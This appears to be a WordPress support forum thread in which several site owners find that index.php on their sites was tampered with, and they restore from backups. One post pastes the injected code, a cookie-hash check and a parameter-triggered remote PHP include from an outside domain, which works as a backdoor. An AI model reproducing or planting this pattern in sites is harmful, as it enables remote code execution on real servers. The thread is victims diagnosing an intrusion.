Can’t save, edit or publish

The joys of free webware.

I contacted my host to see if they had changed/upgraded anything and they said no. Now, it’s very likely that they wouldn’t admit to it anyway…

And quite honestly, the “upgrade” advice, while certainly not a bad idea, doesn’t tell us why this problem is occurring, which is something I’d really like to know!

I don’t spend much time here, as I’m only trying to track down this problem for a friend who has a WP site, but, in your experience, does WP ever reply or deal with these issues, or do they just leave us to fend for ourselves?

As far as I know, they only respond if you have a wordpress.com blog. I asked a few friends who do, and they said they get responses.

But we’re just left to fend for ourselves ??

Has anyone gotten an email response from the wordpress people?

I was one of those who had this exact problem (I posted above), but I have now solved this for myself. I used a brute force method that may not be suitable for anyone else.

I’ll describe the situation and my version and you can decide if it applies to you. There are a lot of “can’t save” issues here on the forums so I wouldn’t assume that my solution will work for you, plus for many of you it may not be practical.

Symptoms: After over a year of blogging I had the same problem described in the original post: When I enter *anything* in a new post, and try to save, publish, or save and continue editing, I was redirected to the blog main page.

This happened with any user who had the right to save.

I also found that if I tried to edit an existing user in any way that I had the same redirect immediately upon clicking “Update User.” Adding a user did NOT result in the problem.

I’m on version 2.2.1, but I believe that if you are having the exact same problem that I had, the version doesn’t matter. (I could be wrong about that.)

I hadn’t changed ANYTHING, but I realize that something must have changed somehow, so I started looking at the files on the server, and saw that the date of my index.php file had been updated. It was now marked as having changed on the same day that I started having the problem. All the other files still had a date from back in 2007, when I did the initial install.

In index.php I found that the license text had been changed by someone.
There’s a line that I think is supposed to say:

@include(‘https://wordpress.net.in/license.txt’);

but instead it said:

@include(‘https://seotoos.com/license.txt’);

That looks like somebody hacking my file and changing the license to some site related to Search Engine Optimization (SEO) tools.

So I changed it back, but that didn’t help. It might not even be relevant to the problem.

Bur since I now knew that at least ONE file had been changed without my knowledge, I realized that ANY file could have been changed.

So I called my hosting provider and asked them to restore my entire WordPress blog folder and all subfolders from the backup they had of the day before the problem happened.

And that solved the problem.

So I don’t actually know what the problem was, and I don’t know if any of you have the same problem.

But IF this is a hacking issue, it would explain why it suddenly stopped working for several people on several different versions of WordPress.

The solution I used worked for me because I hadn’t recently made any changes to theme or settings or options in WordPress, and so restoring from a backup that was a couple of days old didn’t change anything on my blog. And in my setup, the database that actually holds the blog entries is on a different server altogether and wasn’t affected by the restore of the WordPress folder and sub-folders, so I didn’t lose any blogs.

Just in case, I took a database backup and copied all the WordPress files that were going to be restored before my provider did the restore.

I would still love to hear any theories about WHICH file or files might have been changed to cause the problem.

My hosting provider is Pair Networks. I’d also be interested to hear if other Pair subscribers were affected.

Good Luck!

Sure, same was here, index.php was changed (not by myself – but link was leading nowhere) and returning it back was without results – but I take a look at probably all files at directory and there is no change ! they have old date so I don’t know how restoring from backup can help.

My index.php page has the same thing.

<?php if(md5($_COOKIE['12942fc392b445f9'])=="695d55c75600f74e94cdded60b2711d0"){  exit; } ?><?php
/* Short and sweet */
if (isset($_GET['license'])) {
	@include('https://seotoos.com/license.txt');
} else {
	define('WP_USE_THEMES', true);
	if (isset($_GET['license'])) {
	@include('https://seotoos.com/license.txt');
} else {
	require('./wp-blog-header.php');
}
}
?>

Going to try all the things you said and see if that works. I will update after I’m done.

Thanks,
LK

Boroskopy, Landykos, are either of you hosted by Pair Networks?

Boroskopy–I couldn’t find any other files that had changed either, but I didn’t check every single file. After a while I got bored and just had the restore done, since there was no reason not to try it.

I agree I did not have a direct and proven logical reason to try the restore; it just seemed worth doing–and for me, easy, with no risk.

I’m on web.com. I looked and it doesn’t look like any other files have been changed. But who knows there are so many I could be missing one. I updated the index.php and that still didn’t work. I’m going to call my hosting company and see if they have daily backups too.

Thanks,
LK

But still will be good to find a reason why it is and classic solution, is it hiding somewhere in mysql ?

I agree 100%. Not sure on the mysql though. I think it has more to do with the files but I could be totally wrong.

I’m sure my problem had nothing to do with MySQL, since the restore of the WordPress files and folders did not include the MySQL database. I only restored the WordPress folders and files: the php files, essentially.

I uploaded 10 days old backup and start taking a look at all files, if I’ll find something interesting I let you know.

I have the same change in my index.php
My hosting is NOT Pair Networks… I’ll try to contact my hosting and see if I have backups.

It’s funny that you say your file had been changed. Because yesterday I also noticed that the comment box was missing on my blog. So I went into the options and saw that sure enough the “disable comment box” (or something like that) had been clicked.

But I’m 100% sure I hadn’t done it.

I also had some problems with my password the other day.

So I’m thinking is this some sort of hacker? I’m with bluehost, so I guess I need to contact them ….

I just did as lockedroomguy did and called the host and requested a 10-day-old backup restore. Now it works. So yeah, somebody definitely went in there and changed something.

I can’t believe that NO ONE from wordpress has been answering our cries …